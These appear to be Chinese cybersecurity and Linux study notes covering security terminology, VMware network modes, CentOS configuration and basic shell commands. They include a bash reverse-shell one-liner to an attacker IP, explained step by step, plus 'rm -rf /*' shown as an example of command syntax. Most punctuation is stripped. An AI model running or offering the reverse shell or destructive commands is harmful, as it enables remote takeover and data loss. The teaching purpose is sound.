使用html5的网站,动漫制作教学,dux大前端WordPress,网页设计排版作品分析一、网络安全概念及法规
网络安全#xff1a;网络空间安全 cyber security
信息系统#xff1a;由计算机硬件、网络和通信设备、计算机软件、信息资源、信息用户和规章制度组成的已处理信息流为目的的人机一体化系统
信息系统安全三要素#xff08;CIA#xff09;
保密…一、网络安全概念及法规
网络安全网络空间安全 cyber security
信息系统由计算机硬件、网络和通信设备、计算机软件、信息资源、信息用户和规章制度组成的已处理信息流为目的的人机一体化系统
信息系统安全三要素CIA
保密性confidentiality完整性integrity可用性availability 其他
抗抵赖性可控性真实性、时效性、合规性、公平性、可靠性、隐私性
网络空间安全
包括国家安全、城市安全、经济安全、社会安全、生产安全、人身安全等在内的”大安全“
网络空间安全管理流程
1、确定网络信息安全管理对象
2、评估网络信息安全管理对象的价值
3、识别网络信息安全管理对象的威胁
4、识别网络信息安全管理对象的脆弱性
5、确定网络信息安全管理对象的风险级别
6、制定网络信息安全防范体系及防范措施
7、实施和落实网络信息安全防范措施
8、运行/维护网络信息安全设备、配置
1.2、网络安全常用术语
黑客hacker对计算机技术非常擅长的人窃取数据、破坏计算机系统的人
脚本小子刚刚入行安全行业学习了一些技术只会使用现成的工具或者从网上复制代码非褒义
白帽子白帽子是正义的一般道德感比较强目的是帮助企业发现漏洞并且上报给企业帮助其解决风险问题例如360补天、漏洞盒子、CNVD、CNNVD
红帽黑客有正义感爱国的黑客利用技术维护国家网络安全并对外来的攻击进行反击
漏洞vulnerability漏洞指的是硬件、软协议等等存在的安全缺陷
POC: proof of concept ,能证明漏洞存在的代码
expexploit 利用执行了这一段代码后就能够达到攻击的目的
payload攻击载荷即为了实现具体的攻击需要输入的代码内容exploit是利用漏洞的一个过程和方法最终的目的是为了执行payload攻击代码
0day使用量非常大的通用产品漏洞已经被发现但还未被公开官方还没有发布补丁或者修复方法的漏洞
1day漏洞的poc和exp已经被公开但很多人还来不及修复即1day漏洞 nday漏洞 指已经发布官方补丁的漏洞并且时间已经过去很久的漏洞
漏扫即基于数据库对漏洞进行自动化扫描
补丁patch漏洞的修复程序
渗透penetration黑客入侵了网站或者计算机系统获取到控制计算机权限的过程
渗透测试penetration test用黑客入侵的方式对系统进行安全测试目的是找出和修复安全漏洞在这个过程中不会影响系统的正常运行也不会破坏数据
木马trojan horse隐藏在计算机中的恶意程序
病毒virus恶意代码或程序
杀毒软件瑞星、江民、金山、国外的诺顿、卡巴斯基、Mcafee,360
免杀绕过杀毒软件
肉鸡已经被黑客获得控制权限的机器可能是个人电脑也可能是企业或者政府单位的服务器通常情况下因为使用者并不可能知道已经被入侵所以黑客可能长期获得控制和权限
抓鸡利用出现频率非常高的漏洞例如log4j永恒之蓝使用自动化方式获取肉鸡的行为
跳板机黑客为了防止被追溯到身份一般都不会用自己的电脑发动攻击而是利用获取的肉鸡来攻击其他目标这个肉鸡就充当了一个跳板的角色
DDOSDistributed Denial of Service分布式拒绝服务攻击例如发起大量的恶意请求导致正常用户无法访问 后门backdoor黑客为了对主机进行长期的控制在机器上种植的一段程序或留下的一个”入口“
中间人攻击man-in-the-middle attack,MITM攻击指运行中间服务器拦截并篡改数据 网络钓鱼钓鱼网站指的是冒充的网站用来窃取用户的账号和密码
webshellshell是一种命令执行工具可以对计算机进行控制webshell就是asp、php、jsp之外的web代码文件通过这些代码文件可以执行任意的命令对计算机对任意操作
webshell分类小马、一句话代码、大马
getshell获得命令执行环境的操作例如redis的持久化功能mysql的写文件功能mysql的日志记录功能上传功能数据备份功能、编辑器等
提权权限提升privilege escalation即普通用户权限把自己提升为管理源权限的操作 拿站指得到一个网站的最高权限即得到后台和管理员名字和密码
拖库脱裤指网站被入侵后黑客把全部的数据都导出窃取到了数据文件、
撞库用获取的裤子去批量登录其他网站
旁站入侵:入侵同服务器的其他网站
横向移动攻击者入侵一台服务器成功以后基于内部网络继续入侵同网段的其他机器
代理proxy帮我们发起网络请求的一台服务器
VPNVirtual Private Network代理加密通信办公在家里可以连接到公司内网
蜜罐honeypot吸引攻击者攻击的伪装系统用来实现追溯和反制
沙箱sandbox沙箱是一种按照安全策略限制程序行为的执行环境就算有恶意代码也只能影响沙箱环境而不会影响到操作系统
靶场模拟的有漏洞的环境可以是网站、容器、操作系统 类型
web综合靶场DVWA、pikachu、bwappweb专用靶场sqli-labs、upload-labs、xss-labs漏洞复现靶场CVE-44228操作系统靶场如vulnhub靶场CTF靶场专门用来练习CTF题目每个人都有一个独立的环境
堡垒机跳板机jumpserver运维审计系统管理资源审批审计访问控制事件记录
WAFWeb Application Firewallweb应用防火墙对HTTP/HTTPS的流量内容进行分析拦截恶意攻击行为
APT:Advanced Persistent ThreatAPT攻击高级可持续威胁攻击指某组织在网络上对特定的对象展开的持续有效的攻击活动
护网HVV:国家组织牵头组织事业单位国企单位名企单位等开展的攻防两方的网络安全演习
CTF:Capture The Flag 夺旗赛起源于1996年DEFCON全球黑客大会解出题目获得flag就可以得分是一种何可技术竞赛解题形式是jeopardy攻防形式
Attack-Defense方向Reverse、Pwn、Web、Crypto、Misc、Mobile CVECommon Vulnerabilities and Exposures 即通用漏洞纰漏例如CVE-2021-44228,https://www.cve.org/
CNVD国家信息安全漏洞共享平台https://www.cnvd.org.cn/国家计算机应急响应中心CNCERT维护https://www.cert.org.cn/publish/main/index.html
应急响应一个公司为了应对各种安全事件所作的准备和事后采取的措施
SRCSecurity Response Center 即企业的应急响应中心http://0xsafe.org/
公益SRChttps://www.vulbox.com/https://src.sjtu.edu.cn/
网络空间测绘网空间资源收录网络空间搜索引擎WWW.shodan.io\fofa.so\www.zoomeye.org
ATTCKAdversarial Tactics, Techniques, and Common Knowledge对抗战术、技术和通用知识攻击者技术的知识库Mitre风险分析模型收集威胁情报模拟APT攻击
逆向reverse,把程序还原为源代码分析程序的运行过程
DEVOPS:Development Operations开发测试运维一体化
CICD:包括持续集成、持续交付、持续部署具体技术GIT代码管理、Jenkins版本管理代码扫描、自动化测试
Devsecops:Development Security Operations ,安全开发与运维
等保网络安全等级保护要求相关行业的单位和公司的信息系统必须进行定级然后在公安机关备案然后建设整改由测评机构评级并且持续维护和监督 二、Linux系统
1、计算机体系结构
冯·诺依曼体系结构 1、计算机硬件组成 1、计算机组成 台式硬件内部 台式硬件外部 CPU Central Processing Unit中央处理器/处理器 ,又叫微处理器 常见的电脑处理器intel奔腾8086酷睿i5、i7、i9AMD锐龙 常见的手机处理器高通 骁龙系列、苹果 A系列、海思麒麟系列、联发科 天玑系列 cpu本质计算机的大脑 是一个高精度大规模的集成电路 控制单元(Control Unit)用来完成数据处理整个过程中的调配工作发号施令 算数逻辑单元ALU(Arithmetic Logic Unit)完成各个指令以便得到程序最终想要的结果打工人 存储单元负责存储原始数据以及运算结果临时仓库 芯片和CPU的关系 芯片的种类很多CPU芯片是其中一种最常见和最重要的部分 其他还有GPU图形处理单元、NPU神经网络处理单元、FPGA(现场可编程门)他们的数据类型和使用的场景不同 CPU重要参数 核心数物理核心数cpu处理数据的大单位如果说一个cpu是一个银行网点的话核心数就是柜台数一般来说核心数越多效率越高线程超线程技术逻辑处理器。虚拟出来的cpu核心数相当于一个柜员同时办理两个业务一个内核虚拟出多个核心如利用cpu在工作等待的空闲时间处理其他数据频率工作频率1秒种产生的脉冲信号。一个脉冲信号可以执行一个指令一般来说越高表示效率越高32位和64位CPU一次能处理的位数。64位CPU可以向下兼容32位CPU理论上能够支持最大的内存为4G64位理论上能够支持的最大内存位16EB cpu指令集和架构 指令是用来控制硬件的经过编译后为0101的电信号复杂指令集每个指令做复杂动作完成操作需要较少的指令但很庞大代表Intel X86一般用于PC领域笔记本等精简指令集每个指令做简单动作完成操作需要很多指令灵活代表ARM、RISC-V、MIPS一般用于移动领域手机平板等 内存 作用 临时存储CPU运算的数据CPU无法直接读取硬盘可先将硬盘数据加载到内存再 由 CPU读取 内存和存储空间 运行内存RAMRandom Access Memory 存储空间ROMRead Only Memory 内存的工作频率 SDRAM 100 133 166 200 DDR 200 266 333 400 DDR2 400 533 667 800 1066 DDR3 800 1066 1333 1600 1866 2133 DDR4 2133 2400 2666 3200 DDR54800 5200 5600 .... 硬盘 外部存储器不能由CPU直接读取分为固态硬盘和机械硬盘固态硬盘比机械硬盘的速度快很多 硬盘和内存的区别 读写速度内存的访问速度是外存方位速度的几个数量级倍数作用内存中的数据是让CPU直接读取的硬盘的数据是当前不用的数据CPU要使用需要先把硬盘中的数据加载到内存然后使用持久存储内存数据关机即消失不能持续存储 2、程序运行原理 1二进制
电脑的底层逻辑是集成电路所以使用二进制代表高低电压来对数据进行处理
2编程语言 机器语言就是二进制代码语言不需要任何翻译就可以直接被计算机读取如01010101
汇编语言用英文字母或符号串来替代操作通过编译器将汇编语言翻译成机器能看懂的语言但是对机器的依赖很高如
LOAD A ADD B STORE C
高级编程语言贴近自然语言不直接操作硬件可移植如CAB
从源代码到可执行程序 低级编程语言比较复杂但是由于直接操作硬件所以运行效率比较高
高级编程语言不直接操作硬件所以效率不是很高 为什么需要操作系统
提供API屏蔽硬件差异协调系统资源提供图形界面不用输入指令操作更加简单
总结 3、操作系统
1个人电脑操作系统
2服务器操作系统 软件架构 C/S架构Client/Server 客户端qq、百度网盘、游戏等特点需要安装和升级占用资源较多性能高 B/S架构Browser/server 浏览器站点百度、知乎等特点不用安装维护跨操作系统、占用资源低
目前很多软件既支持C/S,也支持B/S甚至还支持小程序
服务器的组成部分 服务器硬件服务器操作系统 Windows Server系列 Linux系列Redhat、CentOS、Debian、Ubuntu Unix系列SUN Solaris、BSD Unix HTTP容器web服务器 Tomcat、Apache、Nginx、Weblogic、JBoss…… 应用程序 各种编程语言开发的软件项目Java、PHP、C、Python、Ruby、Go…… 总结 当我们使用一个服务时先通过网络协议连接服务器服务器底层是硬件硬件上面有操作系统操作系统上面需要先安装HTTP容器我们的客户端线连接http容器然后他把请求交给应用程序其实大部分都是操作数据库
四、linux概述与安装
1、linux诞生与分支 Linux is not UNIX linux和unix的区别
Linux是开源的unix是闭源的unix对硬件平台的兼容性比较小
linux分支 2、 linux的内核和发行版本 内核设备驱动、文件系统、进程管理、网络通信https://www.kernel.o 内核版本号 Linux 3.10.0-514.el7.x86_64 Linux 内核名 第一个组数字3, 主版本号 第二个组数字10, 次版本号当前为稳定版本 第三个组数字0, 修订版本号 第四个组数字514表示发行版本的补丁版本 el7则表示正在使用的内核是 RedHat / CentOS 系列发 行版专用内核 Red Hat Enterprise Linux x86_64采用的是64位的CPU 内核漏洞 linux内核如果出现漏洞可以只单独升级内核 内核漏洞查询 https://www.cvedetails.com/vulnerabilitylist/vendor_id-33/product_id-47/Linux-Linux- Kernel.html CVE-2016-5195 DirtyCow CVE-2022-0847 DirtyPipe 升级内核
https://blog.csdn.net/u013253075/article/details/119679385https://blog.csdn.net/alwaysbefine/article/details/108931626?ops_request_misc%257B%2522request%255Fid%2522%253A%2522166565043716782414936681%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257Drequest_id166565043716782414936681biz_id0utm_mediumdistribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-108931626-null-null.142^v55^opensearch_v2,201^v3^control_2utm_termcentos7%E5%86%85%E6%A0%B8%E5%8D%87%E7%BA%A7spm1018.2226.3001.4187
发行版distribution在内核的基础上添加和内置一些软件并发布给用户使用
3、虚拟机
虚拟机监视器通过物理机操作系统去拿物理机的硬件资源
虚拟机使用场景 允许特定版本的操作系统 隔离物理机测试用 提升资源的利用率
linux自带的虚拟化技术kernel 3.1容器技术docker
Docker是一个开源的应用容器引擎让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中然后发布到任何流行的 Linux或Windows操作系统的机器上也可以实现虚拟化。
容器是完全使用沙箱机制相互之间不会有任何接口
应用
去解决很多基础环境依赖的问题安装软件安装操作系统 特点开箱即用、快速部署、可移植性强例如在不同的操作系统中都可以使用屏蔽底层设备的差异、环境隔离
docker是没有操作系统的采用的是真机的内核
3虚拟机和docker差异 虚拟机用的是虚拟机监视器来获取硬件资源docker使用的是容器引擎来获取硬件资源容器启动速度和部署创建速度快容器硬盘使用占用量小容器性能损耗少容器资源利用率高单机支持上千个容器容器的隔离性较弱容器的安全性更弱
4vmware安装可能遇到的问题 未开启虚拟化可搜索自己电脑型号按照自己的情况开启https://blog.csdn.net/weixin_44210782/article/details/104661303 安装虚拟机后物理机蓝屏软件兼容性问题可安装最新版的vmwarehttps://blog.csdn.net/weixin_44210782/article/details/104661303
3.2vmware常见的基本功能
后缀为vmx的文件是可以直接打开得到一个操作系统可在虚拟机中直接选择文件打开后缀为osi的文件是一个镜像是需要安装的后缀为ova的文件也是vmware可以直接识别打开的文件可执行自动导入
1、打开现有虚拟机
编辑网络编辑-虚拟网络编辑器用管理员身份
2、虚拟机被锁定
3、快照和克隆 克隆
要得到一摸一样的操作系统时担心操作系统被破坏后又要重新安装虚拟机关机后右键-克隆-完整克隆-选择名称和存储路径 快照
右键-拍摄快照记录当下操作系统状态---想要回到初始状态时右键-恢复快照在开机状态下可以拍摄快照克隆需要关机适用于需要不断将系统恢复到初始状态
3.3物理机和虚拟机的文件互传
两边各安装一个qq利用qq传送文件物理机复制文件-虚拟机直接粘贴需要安装虚拟机插件linux操作系统可用xshell连接虚拟机并传送文件xftp组件或rz命令
常见问题
虚拟机被锁定 原因启动多个vmware程序在多个窗口打开一个虚拟机解决办法找到原来的窗口或删除虚拟机目录下所有的.lck文件和点.lck目录重启或合上屏幕后虚拟机连不上了 在网络适配器中禁用vmnet8,再启用可以做成脚本右键管理员运行 3.4wmware网络模式
基础知识网卡、路由器、交换机
虚拟交换机让相同模式的虚拟机相互连接 虚拟网卡让主机和虚拟机相互连接 桥接模式 通信方式 1、虚拟机通过连接到虚拟机交换机利用虚拟网桥连接到主机的网卡 2、它不需要用到虚拟网卡所以没有VMware network adapter vmnet0
特点 1、物理机和虚拟机地位平等 2、虚拟机占用一个独立的ip 3、使用物理机的网卡访问互联网
配置 虚拟机ip网段和主机一致
连接情况 1、主机和虚拟机可以访问 2、虚拟机之间可以互相访问 3、可以访问互联网 4、其他主机可以访问本虚拟机
使用场景 创建一个虚拟服务器在内网提供网络服务
NAT模式 通信方式 1、虚拟NAT设备虚拟路由连接到vmnet8虚拟交换机——虚拟机联网用 2、主机通过VMware network adapter vmnet8虚拟网卡连接到vmnet8虚拟交换机——主机和虚拟机连接用
特点 1、虚拟机在外部网络中没有自己的IP地址 2、虚拟NAT设备会把专用网络中的IP地址转换为主机系统的IP地址——网络地址转换 3、主机可以联网虚拟机就可以联网
配置 无需配置默认为NAT模式连接
通信情况
主机和虚拟机可以访问虚拟机之间可以互相访问可以访问互联网本机虚拟机可以访问其他主机其他主机不能访问本机虚拟机解决办法共享网络、端口映射
使用场景 大部分情况 如果修改实体机的VMware Network Adapter VMnet8的ip地址使这修改后与虚拟机不在同一网段那么虚拟机可以ping通实体机但是实体机不能ping通虚拟机因为虚拟机ping的时候用到了Nat的ip地址转换 实质上是主机网卡ping主机的VMware Network Adapter VMnet8虚拟网卡
如果修改了虚拟机的ip地址修改后虚拟机ip与dhcp服务器不在同一网段的ip地址那么就ping不通主机的VMware Network Adapter VMnet8的ip地址因为此时虽然他们处在同一个交换机下但没在同一网段 但是是可以上网的也可以ping通主机的主机网卡ip地址 仅主机模式 通信方式 主机使用VMware network vmnet1虚拟网卡连接到vmnet1虚拟交换机
特点 没有NAT设备虚拟路由所以不能上网
配置 无
连通情况
主机和虚拟机可以访问虚拟机之间可以互相访问不能访问互联网不能访问其他主机其他主机不能访问本虚拟机
使用场景 创建一个与其他机器隔离的网络 总结
即桥接模式是虚拟机拥有一个独立的ip与主机的地位是相同的使用的是主机的网卡可以连接别的主机和虚拟机NAT模式是使用NAT设备、虚拟网卡连接主机网卡上网和连接主机的主机相当于他的代理它通过主机连接其他主机即网络地址转换其他主机无法连接虚拟机因为虚拟机没有自己的独立ip是躲在主机后面的 仅主机模式不能上外网因为没有NAT 设备连接主机网卡不能访问其他主机因为没有网络地址转换需要一个与其他主机隔离的时候使用仅主机模式
3.5vi编辑器
编辑文本文件使用的编辑器vi和vim一脉相承vim是进阶版
命令模式只能输入命令编辑模式也叫插入模式可以修改文本低行模式结束操作 操作流程
vi 文件路径名用编辑器打开文件打开文件后直接进入命令模式无法输入文本命令模式下退出不保存esc——输入——输入q按下ℹ️进入编辑模式直接移动鼠标输入文本内容保存并退出按下esc-输入——输入wq小写
问题
只读权限用su命令切换用户输入密码重新编辑临时swp文件未保存直接关闭窗口会留下一个临时文件用ls -a会看到一个后缀为swp的临时文件再次打开时会出现提示如果不要直接删掉就可以
3.6为centos配置静态ip
默认情况下他的ip是可以动态分配的会不断改变的但是远程连接工具连接他是需要不断的改ip比较麻烦静态IP配置不是必要的
NAT模式下
步骤
查看物理机ip,用cmd中命令ipconfig查看ip地址如果是用有线上网查看以太网的如果用无线网查看无线网的ip虚拟机配置
用网络适配器将模式改为wmnet8的模式在虚拟网络编辑器中修改虚拟机网段要有管理员权限在虚拟机终端的ens33中修改ipaddr和网关的网段和当前电脑的一致 用vi编辑器打开ens33网卡配置文件 vi /etc/sysconfig/network-scripts/ifcfg-ens33 ens33文件参数解释 改完配置文件保存后需要重启虚拟机网络读取到内存中才能生效
service network restart 注
如果修改物理机的VMware Network Adapter VMnet8的IP地址将其修改为和虚拟机不在同一网段那么虚拟机可以ping通物理机但是物理机是ping不通虚拟机的因为再虚拟机ping物理机的时候用到了nat的ip地址转换所以相当于是主机的网卡ping自己的虚拟网卡如果修改了虚拟机的ip将其修改为和dhcp服务器不在同一网段的IP地址那么是ping不通主机和互联网的因为没有在dhcp服务器ip的范围内所以做不了ip地址转换也没办法ping通主机因为最终这种情况下二者不在同一网段nat模式下虚拟机ping不通主机而主机能ping通虚拟机问题的解决办法https://blog.csdn.net/weixin_44976835/article/details/115279516
3、确定配置好了
虚拟机能连外网虚拟机能连通物理机
3.7yum源
yum是centos中的一种软件管理器通过yum安装软件可以自动解决包依赖的问题免去手工安装依赖包的麻烦yum使用了一个中心仓库来记录和管理软件的依赖关系叫做centos官方yum源 1、备份官方yum源配置文件 官方yum源配置文件在/etc/yum.repos.d/CentOS-Base.repo 2、下载阿里云源配置覆盖原文件(使用curl -o) 3、清理缓存并生成新的缓存 命令yum clean all(清除缓存) yum makecache生成新的缓存
五、linux操作系统的基础命令
内核shell文件系统应用程序
linux shell 1接收用户的命令经过转换交给内核去执行 cat➡️openread
简化操作保证操作系统的安全每一个linux发行版本都会自带一个或多个shell工具 2shell工具查看与切换相关linux命令
查看当前用户使用的shell工具echo $shell查看当前系统的所有shell工具cat /etc/shells查看当前用户可使用的shell工具cash -l切换当前用户的shell工具cash -s 【shell工具】 3知名shell工具 4shell和terminal 5shell编程/shell脚本.sh 将各类命令与先放在一个文件中方便一次性执行的一个程序文件 2、Linux文件系统 一切皆文件 常用文件操作命令 1linux目录 根目录或目录分隔符/ 颜色含义 蓝色目录绿色可执行文件红色压缩文件浅蓝色链接文件白色其他文件xxx是设备文件包括block、char、fifo 根目录文件 用户主目录当前用户自己的目录除了root用户和自己别人无法访问
root用户的主目录是/root其他用户的主目录是/home/用户名cd 空格或cd会直接回到当前用户自己的主目录 工作目录命令当前所处的目录 目录指代 可以同时拼接多个命令例如cd ramd/ls 即切换到该目录下并查看当前目录下文件cd ../../切换到上两层目录
3、Linux常用操作
1命令帮助 man command--具体参数和使用方法 whatis command__命令的简要说明 info command--详细介绍 help command-- Linux内置命令
2关机重启root用户 关机poweroffshutdown -h nowhalt -p 重启reboot
3快捷键和命令 4别名配置alias 查看别名alias 设置别名以bash为例vi ~/.bashrc 格式alias 命令“xxxxxx” 例如此处要重启网络可设置alias res‘service network restart’ 生效source ~/.bashrc 取消别名unalias 别名名称例如上述res命令取消别名unalias res即可
(5)通配符 若想让以上符号表示他本身的意思而非通配符含义则将其前面加上\
例如要查找名为*a的文件则find -name \*a (6)系统的环境变量
查看全部变量env
查看单个变量echo $xxx
用户变量;~/.bashrc
系统变量/etc/profile
4、文件描述符和重定向
1文件描述符和重定向 重定向 改变输入输出的方向 比如将本来显示在显示器上的数据输入到文件中是覆盖是追加
输出重定向 标准输出重定向 [rootlocalhost ~]# ls
anaconda-ks.cfg a.txt Desktop Documents Downloads initial-setup-ks.cfg Music original-ks.cfg Pictures Public Templates Videos
[rootlocalhost ~]# ls a.txt
[rootlocalhost ~]# cat a.txt
anaconda-ks.cfg
a.txt
Desktop
Documents
Downloads
initial-setup-ks.cfg
Music
original-ks.cfg
Pictures
Public
Templates
Videos 标准错误输出重定向其中的2不可省略
[rootlocalhost ~]# find / -nameaaa 2err.txt
[rootlocalhost ~]# cat err.txt
find: unknown predicate -nameaaa
#find / -nameaaa 2/dev/null将错误输出结果不输出在文件里也不输出的显示屏上即将其过滤掉
输入和错误重定向即将两种重定向结果都输入到某一位置
输入重定向 统计某文件的行数 [rootlocalhost ~]# cat a.txt
anaconda-ks.cfg
a.txt
Desktop
Documents
Downloads
initial-setup-ks.cfg
Music
original-ks.cfg
Pictures
Public
Templates
Videos
[rootlocalhost ~]# wc -la.txt
12
[rootlocalhost ~]# 统计用户在终端输入的文本的行数 [rootlocalhost ~]# wc -lEND #遇到END即停止wwwweEND
5 综合练习bash反弹连接案例 命令bash -i /dev/tcp/192.168.142.44/7777 01#bash -i 在靶机打开交互式的Shell
#/dev/tcp/192.168.142.44/7777 连接到攻击机IP端口
# 和 等价代表标准输出1 错误输出2把靶机的输出重定向到攻击机——接收结果用。
#01左边是标准输入。右边是标准输出输出重定向。把靶机的输入重定向为攻击机的输出——接收命令用。
#所以靶机的输入输出都到了攻击机上。 5、文件和目录管理 1常规命令格式 命令 选项 参数 rm -rf /* 选项命令的行为方式参数命令的对象
规范 命令、选项和参数之间有空格命令是绝对不能省略的Linux是区分大小写的大部分情况下多个选项的顺序和是否拆分是没有影响的
命令选项参考资料 https://wangchujiang.com/linux-command https://www.linuxcool.com
2文件和目录管理
列出目录内容和属性 ls [rootlocalhost ~]# ls
anaconda-ks.cfg a.txt Desktop Documents Downloads err.txt initial-setup-ks.cfg Music original-ks.cfg Pictures Public Templates Videos wc
#全拼 list
#格式ls 选项 文件名
#ll 即ls -i即输出文件和他有关的所有信息例如所有者组名文件大小等
#例如ls -a -- 查看所有文件包括隐藏文件ll --block-sizeM --给文件大小转换单位 [rootlocalhost ~]# pwd
/root
#全拼 print working directory
#格式pwd
切换工作目录 cd
[rootlocalhost ~]# cd Music/
[rootlocalhost Music]#
#全拼change directory
#格式cd相对路径或绝对路径相对路径由根目录/开始写起
绝对路径从当前工作目录开始写起
/根目录
. 当前目录
~用户工作目录
../ 上一级目录
../../:上上一级目录以此类推超出范围的时候代表根目录查看文件类型file
[rootlocalhost ~]# file Music/
Music/: directory
#格式file 选项 文件或目录
#file -i 文件名
复制文件或目录 [rootlocalhost ~]# cp a.txt Music/c.txt
[rootlocalhost ~]# cd Music/
[rootlocalhost Music]# ls
c.txt
#全拼copy
#格式cp 选项 源文件 目标文件 可带路径
#-r/R递归处理将指定目录下的所有文件与子目录一并处理
#-f强制复制文件或目录不论目标文件或目录是否已存在
#若使用cp 的-f选项后任然提示是否覆盖查看别名中是否有 alias cpcp -i
#-i如果复制的目标文件存在 会给你提示是否要覆盖 查找文件或目录
#格式find 目录 选项 名字或模式#-name 名字 按照名字查找
[rootlocalhost ~]# find /root -name Music
/root/Music#-type 按照类型参数查找
#f为普通文件d是目录
[rootlocalhost ~]# find /root -type f
/root/.bash_logout
/root/.bash_profile#-size 按照大小查找
[rootlocalhost ~]# find /root -type f -size 1M
/root/.bash_logout
/root/.bash_profile#-exec command
#把find找到的内容作为命令的参数去执行,-exec参数后面跟的是command命令他的终止是以;为结束标志的,考虑到各个系统中分号会有不同的意义所以前面加反斜杠。
#{}就是找到的内容
find . -name *.txt -exec rm -rf {} \;
#-atime在过去n天内被读取过的文件
#-ctime在过去n天内被修改过的文件
#-cmin在过去n分钟内修改过的文件
#其他命令
#whereis 查找二进制程序、代码等相关文件路径
#which查找并显示给定命令的绝对路径
#locateupdatedb程序每天会跑一次建立文件索引locate 读取一个或多个由 updatedb 更新的数据库并将至少与 PATTERN 之一匹配的文件名写入标准输出每行一个
[rootlocalhost ~]# locate aaa
/usr/share/man/man3/ldns_rdf2buffer_str_aaaa.3.gz
/var/cache/fontconfig/614d1caaa4d7914789410f6367de37ca-le64.cache-4
/var/cache/fontconfig/b79f3aaa7d385a141ab53ec885cc22a8-le64.cache-4
/var/cache/yum/x86_64/7/mysql-tools-community/fd38dce5051dc3cb2a83cb5aaa1bfd26d52ec3ec-primary.sqlite.bz 创建目录mkdir [rootlocalhost test]# mkdir -p aa/bb/cc
[rootlocalhost ~]# cd test/aa/bb/cc
[rootlocalhost cc]# pwd
/root/test/aa/bb/cc
#全拼make direcotry
#格式mkdir 选项 目录名
#mkdir不加选项即在当前目录下创建目录若想要一次创建多层互相嵌套的目录则加选项-p 移动或重命名一个文件mv [rootlocalhost aa]# mv dd ../xx
[rootlocalhost aa]# ls
bb
[rootlocalhost aa]# cd ..
[rootlocalhost test]# ls
aa xx
[rootlocalhost test]#
#全拼move
#格式mv 选项 原文件 新文件
#mv原文件路径为移动mv原文件新文件为重命名
#mv源文件路径/新文件名 为移动并修改文件名 删除文件rm #全拼remove
#rm 选项 多个文件
[rootlocalhost test]# rm 1.txt 2.txt#-r删除目录有内容的递归删除其下所有的文件和文件夹-f强制删除
[rootlocalhost test]# rm -fr xx#删除空目录
[rootlocalhost test]# rmdir xx 创建空文件touch
[rootlocalhost test]# touch aa#touch 文件名
#如果一个文件存在依然新建文件那么之前的文件及其内容不会改变但时间戳会被修改
6、挂载和链接
为什么要挂载u盘
因为Linux将所有的硬件设备都当做文件来处理因此当使用光驱等硬件设备时必须将其挂载到系统中只有这样Linux才能识别。 /mnt目录存放手动挂载的硬件/media目录存放自动挂载的硬件载点都是由系统自动建立和删除的/dev不是存放设备的驱动程序而是作为访问外部设备文件的接口比如u盘
查看u盘所在位置
查看系统硬盘和分区情况查看usb磁盘设配是否被正常识别 #使用fdisk -l可以查看硬盘分区情况
#而仅查看u盘设备所在分区可以直接使用以下命令
[rootlocalhost ~]# fdisk -l | grep FA
/dev/sdb1 32 60063743 30031856 7 HPFS/NTFS/exFAT#u盘在/dev/sdb1 此时u盘已被系统识别但是不能直接访问因为她是一个块类型的文件在linux系统中是无法访问的。必须将其通过mount命令挂载到文件目录中进行访问
补充 2、创建一个挂载点。挂载点必须是一个目录这个目录可以不为空但是挂载这个目录下的之前的内容将不可用umount后会恢复目录usb作为挂载点
mkdir /root/usb 3、挂载exfat的u盘
mount /dev/sdb1 /root/usb
entos7挂载exfat格式硬盘失败问题
exFAT (Extended File Allocation Table) 是一个微软为闪存设备例如 SD 卡和 USB 可移动磁盘优化的专利文件系统。它被设计为替换存储单个文件不能超过 4G 的老旧的 32 位 FAT32 文件系统。exFAT 文件系统被最新的 Windows 和 macOS 操作系统所支持。CentOS默认不支持有专利的 exFAT 文件系统。所以想在在cetos上挂载exfat格式硬盘需要安装FUSE exFAT 模块和工具它们给 Unix-like 的系统提供了一个完整特性的 exFAT 文件系统实现。
NUx源以来EPEL软件源如果不可用需要先启动它
sudo yum install epel-release
接着导入GPG key 并安装rpm包启动nux软件源
sudo rpm -v --import http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
sudo rpm -Uvh http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-5.el7.nux.noarch.rpm
源仓库安装完成后安装exfat-fuse和exfat-utils软件包
sudo yum install exfat-utils fuse-exfat 4、卸载直接使用umount命令需要卸载的u盘即可 4链接
全拼link
格式ln 源文件 链接文件
硬链接和软连接 硬链接相当于和源文件一样修改硬链接源文件也会被修改但是删除硬链接源文件不会受到影响 用户是不能给目录创建硬链接的只有相同的文件系统才可以创建硬链接tmpfs、NTFS、FAT32软连接软连接相当于是win下面的快捷方式 此处就是给usr/lib在/下创建了一个名为lib的软链接 删除软连接 rm 软链接名称 #创建软连接
[rootlocalhost ~]# ll /usr/bin/view
lrwxrwxrwx. 1 root root 2 Dec 26 2019 /usr/bin/view - vi
[rootlocalhost ~]# ln /usr/bin/view /usr/bin/v
[rootlocalhost ~]# ll /usr/bin/v
lrwxrwxrwx. 2 root root 2 Dec 26 2019 /usr/bin/v - vi
[rootlocalhost ~]# v 1.txt
#给vi创建一个v的软链接直接使用v文件名打开文本文件#删除软链rm即可删除
[rootlocalhost ~]# cd /usr/bin
[rootlocalhost bin]# rm v
rm: remove symbolic link ‘v’? y#修改硬链接源文件也会被修改但是删除硬链接源文件不会受到影响[rootlocalhost ~]# cat aaa/1.txt
nico
[rootlocalhost ~]# ln aaa/1.txt /root/ddd.txt
[rootlocalhost ~]# cat ddd.txt
nico
[rootlocalhost ~]# echo helloddd.txt
[rootlocalhost ~]# cat ddd.txt
nico
hello
[rootlocalhost ~]# cat aaa/1.txt
nico
hello
[rootlocalhost ~]# rm -f ddd.txt
[rootlocalhost ~]# cat aaa/1.txt
nico
hello 6、文件压缩及解压缩
1打包和压缩 打包;多个文件变成一个文件——减少文件个数打包/解包 可减少个数归档存储 压缩缩小一个文件的体积——减少文件的体积压缩/解压 压缩率压缩后的体积/压缩前体积 常见压缩格式
HTTPgzip gzip、deflate(zlib格式)、br(broli)、identity不压缩
Windowszip、rar、7z winrar、360压缩、bandizip、7zip
Linuxgzip(tar.gz.tgz)、bzip2(.bz2)、zip 压缩后的体积tar.bz2 tgz tar 压缩解压时间tar.bz2 tar tgz
(2)linx中的压缩
打包命令tar常用选项 #创建10个txt文件
[rootlocalhost ~]# touch {0..10}.txt#打包不压缩
[rootlocalhost ~]# tar -cvf test.tar *.txt#解包
